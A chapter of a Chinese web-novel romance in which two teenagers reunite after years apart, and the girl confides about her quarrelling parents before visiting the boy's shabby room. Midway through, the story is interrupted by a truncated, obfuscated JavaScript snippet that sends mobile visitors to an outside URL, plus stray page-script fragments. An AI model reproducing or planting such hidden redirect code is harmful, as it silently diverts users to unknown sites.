默认冷灰
24号文字
方正启体

14. Chapter 14

作者:几袖春寒本书字数:K更新时间:
    黄昏伊始,万物渡上一层金辉,散漫着淡淡的光泽,像书里幻梦的世界。


    常絮语让同学先走,自己一个人蹲在走廊,安安静静的听着身旁教室里的声音。


    “哇,老师你真厉害,这种解题步骤我还从来没见过。”


    “老师,你怎么做到这么年轻还这么聪明的呀?”


    里面的女孩时不时就要称赞一两句,声音甜甜的。


    常絮语手里握着磕小石头,在手心里盘了盘,她抬头看看天,又低头看看石头,在手心里怎么也捂不热。


    后来她察觉是自己的手太凉。


    缓缓站起来,将双手伸进口袋,她抿唇,双腿始终没敢再次迈出一步。


    就这么过了约莫半小时,易焯终于出来了。


    “老师再见!”女孩向他告别。


    常絮语回头,临走时,女孩冲她笑了笑。


    她忽然有些不自在。


    易焯颔首,等到女孩走远了,他才踱步至常絮语的面前,一双好看的眼睛里带着淡淡的疲惫。


    他揉了揉眉心,微微叹息,眼前骤然升起一簇簇白雾。


    “久等,”他哑然开口,看着她身上略显单薄的衣物,皱眉,“冷吗?”


    常絮语吸了吸鼻子。


    “不冷。”


    他神色有几分不悦,却也只是抿了抿唇,没再说什么,自顾牵起她的手。


    “还说不冷,这么凉,怎么不换个地方等我。”


    常絮语没吭声。


    她不愿意开口告诉他,自己其实是想听他说话的声音。


    迟迟不见她开口,少年自顾将脖子上的围巾取下来,系在她脖子上。


    末了,又把外套脱了下来,搭在她肩头,扣上扣子。


    常絮语愣愣的看着他动作,他带着温度的手有一瞬擦过她颈脖间细腻的皮肤,烫的她微微颤了颤眼睫。


    他里面只有件灰色的高领毛衣。


    “易焯哥哥,你怎么办?你不冷吗?”


    他的围巾很厚,带着淡淡的薄荷香,她一双眼睛露在外面,轻声问了出来。


    听到从她口中多年未曾听到的称呼,易焯微微愣了愣神,手上的动作跟着微微一顿。


    “我没事。”


    他嗓音有些低哑。


    面前长长的走廊里空无一人,安静的落针可闻。


    两个人不紧不慢的往前走,漫无目的。


    常絮语发现,他们的话好像都变少了。


    和从前不一样了。


    不知道过了多久,易焯冷不丁的打了个喷嚏。


    常絮语看向他。


    少年双手插兜,和她对视,面无表情。


    “你也别逞强了,易焯哥哥。”


    她不是没有幻想过他们的重逢,只是今天的会面太过偶然,过了这么长时间,她没法在像从前那样习惯依赖他的好。


    于是,小姑娘默默将外套和围巾褪下来,还给他。


    “易焯哥哥,你不用这样。”


    他敛神,看着她递过来的衣物,薄唇轻抿。


    半刻后,他才接过去。


    “走。”


    他拉住她的小手。


    “去哪?”


    “送你回家。”


    闻言,絮语皱眉,径直用力地甩开他的手。


    “不要。”


    两个人四目相视,看着空了的手心,易焯看向她的眼神冷了几分。


    “听话。”他语气沉下来。


    “今天温度低,你一个人跑到这来,不安全,我晚上还有兼职,先送你回去。”


    他变了很多,没了从前的朝气,她从他的眼睛里只能看见疲惫和淡漠。


    她咬住下唇,低眸看了看脚下略带着灰尘的瓷砖地板,想起一些琐碎的伤心事,把心里的委屈像倒苦水一样诉说出来。


    “我爸爸从前还没做生意的时候,也经常在家陪我,那时候我还很小,后来他做生意赔了钱,就开始不回家,因为我是个女孩,他每次喝了酒都要那这件事怨我妈妈,跟我妈妈吵架,妈妈嘴上不明说,可我也知道的,我不是小男孩,她也不会对我有指望,虽然每次都有姑姑过来打圆场、护着我,可姑姑也要走了,她说要赚钱贴补家里,以后又只剩下我一个人了。”


    “是不是所有对我好的人,到最后都要抛弃我?如果是这样,干脆一开始就不要对我好了,我不想再被抛弃了。”


    她说着说着,语调染上哭腔,又慢慢地将眼泪抹在袖子上。


    夕阳无限好,只是近黄昏,也幸亏茫茫大雾中,一切都看不分明。


    “我在这等了你半个小时,就是想多听听你的声音,刚才我没敢告诉你,怕你笑话我,可我......”真的很想你。


    最后几个字,她抿唇,咽了回去。


    易焯的目光一直紧锁着她,在某一刻忽然动了动。


    他不知道,他真的不知道。


    如果可以,他希望有人能代替过去的他,至少给她一点安慰,像从前她被母亲强硬地剪了头发躲在角落里哭时,有人能跟她说说话,夸她长得漂亮,长发短发都无所谓,可惜没有。


    常絮语有些怪自己不争气的眼泪,一边说话一边掉,跟断了线的珠串一样,止都止不住。


    “可你什么也没说,就要送我走,那你呢?你在哪里住?你转校后又在哪里上学?我什么也不知道......如果今天没有跟着来这个机构,我想我大概永远都不会再见到你了。”


    “我不想回家,我不想回家看到爸爸妈妈吵架,满地的玻璃碎片,我妈妈要扫好久,我想帮忙,可她说我干活太笨,不让我打下手,我知道她是嫌弃我,又不想让我看到她哭的样子,所以每次我都只能躲起来,一个人做算术题,要写很久很久。”


    她想到以前和易焯一起上下学的样子,他教她做算术题,她以前为数不多的快乐时光都是和他一起度过的,虽然大家常说短暂的快乐留不住,期待以后的快乐就好,可那些日子对她来说弥足珍贵。


    她可以不想以后,只念朝夕。


    常絮语越说,眼泪就越多,他喉结滚动,心里一抽一抽的疼,最后受不住,靠前,像以前一样轻轻地揉了揉她的发顶。


    “别哭了。”


    他想了想,看着她,又哑声道:“我向你道歉,对不起,絮语,是我太着急了。”


    这几年他确实经历了很多事,迫使他必须一个人面对所有,没有父母照拂的人,独自谋生,总是会艰难许多。


    他眉心骤然疼起来,两指稍揉了揉,另一只手却能清楚感觉到小姑娘微微发抖的身体。


    看来是气得狠了。


    他微微叹了一声,蹲下来稍稍仰视她,语气变得缓慢温和:“那我带你去旁边的奶茶店坐坐好不好?”


    她眼圈红红的,闻言抿了抿唇。


    “我哭过了......”


    这个样子太丢人了。


    她不想去。


    常絮语是典型双眼皮大眼睛的美人胚子,一双杏眼宛若春风词笔,带着点水灵灵的天真,就这么红着眼圈看着人,根本无人招架得住。


    易焯拗不过她,敛神,只好带着她去了自己新的住处。


    当淡淡的银辉渐缓铺满世界和两人的肩头,常絮语才发觉,他们已经走了很久的路。


    像是璨璨雪光,地上的碎石子一片接着一片,有些硌脚,偶尔还能听见檐角的水落下来砸进水洼里的脆响声。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448156|185189||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >眼前慢慢出现一排老式居民楼,赭石色的外观,住户家的玻璃颜色不一,缺角少棱。


    两人慢慢的踏上一座露天的石板楼梯,窄窄的不好走,仅可一人通行。


    常絮语跟在他身后,一路沉默。


    绿漆木板门,走到这儿,他停了下来,熟练的掏出钥匙捣鼓一阵,门开了,溜出“吱呀吱呀”的声音。


    屋子里很冷,陈设也十分简单,一个光亮不强的灯泡,一张陈旧的木桌,一张床,就这样。


    常絮语抿唇,将步子迈进去。


    “我去烧点水。”


    易焯将外套脱下来,径直往那间窄小的厨房走,声音没什么情绪。


    屋子里很冷,暖气形同虚设,少年衣衫单薄,身形修长。


    常絮语乖乖坐在小板凳上看着他,他像电影镜头中被镶嵌在门框里的主角,慵懒随性,仿佛定格在某个画面里后,就会去到下一个片场。


    而他依旧是他,身上游离着若有似无的淡然,一掀眼,就是另一个世界。


    她以为2006年的冬天会想一部好电影一样永远烙印在记忆里——


    他端着烧好的水壶走出来,倒了两杯水,坐在她对面。


    “我能在那工作,是因为我自学了所有初高中的数学课程,参加了竞赛,得了一等奖,才会破格被录用,不过性质不太一样吗,是要和学生家长面谈过才行,收入不高,不过尚可温饱。”


    话罢,他又掏出一个鼓鼓囊囊的信封递给她。


    “这是什么?”


    “房租。”少年淡声。


    “絮语,帮我转交给我原先那位房东,她是个好人,不过不能仗着她人好就占便宜。”


    他前段时间去过那个地方,房东搬回来了。


    絮语想到薛阿姨,点了点头。


    “好。”


    等到杯子里的水变温,常絮语喝了一口,看着愈加缥缈的白雾,她缓慢开口:“我知道你住在哪里了,以后我可以经常来吗?”


    他手上执杯的动作蓦地一顿。


    半刻后,少年随意的笑了一声,却没有欣然的迹象,只是淡声回答她:“我这里有什么好来的。”


    疑问句被他的语气化作陈述句,仿佛在陈述一件他早就已经接受的屈辱。


    常絮语眨了眨眼睛,微微低头寻他的视线,对视上的那一瞬,她忽然笑了——


    “因为在这里可以见到你啊,就我一个人可以。”


    她不想去他兼职的那个机构,因为在那里,她不是唯一一个可以和他待在一起的人,他有学生和工作要兼顾,但在这里,她可以无时无刻的和他说话,看着他做事,像从前那样。


    她眼睛亮亮的,像黑曜石,里面闪着光点和笑意。


    几经流年,他们身上都有了成长的痕迹,十几岁的懵懂年纪,像初生的花儿一样,开的灿烂。


    易焯看着她直达眼底的笑意,心中一动。


    常絮语又自顾说了很多话,大多是怀念以前两个人在一起的日子,细水长流,明明没有几年,在她那里就像经过了很多道工序的糕点,样子精致又宝贵。


    后面的,他已经听不见了,只能看见她的嘴巴一直在动。


    末了,等她说的口干舌燥开始喝水的时候,他顿了顿,目光紧锁她,哑然问道:“絮语,如果有一天我彻底消失不见,你会忘记我吗?”


    她将水喝干净,双肘杵在桌案上,手撑着脸,面颊上是微微的粉红。


    好奇怪的问题。


    除了生死,她怎么可能再也见不到他了呢?只要他们还共同生活在这颗蓝色星球上,就总有相遇的时候吧?


    “当然不会啊。”


    她眼睫弯弯,笑起来像月牙儿。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)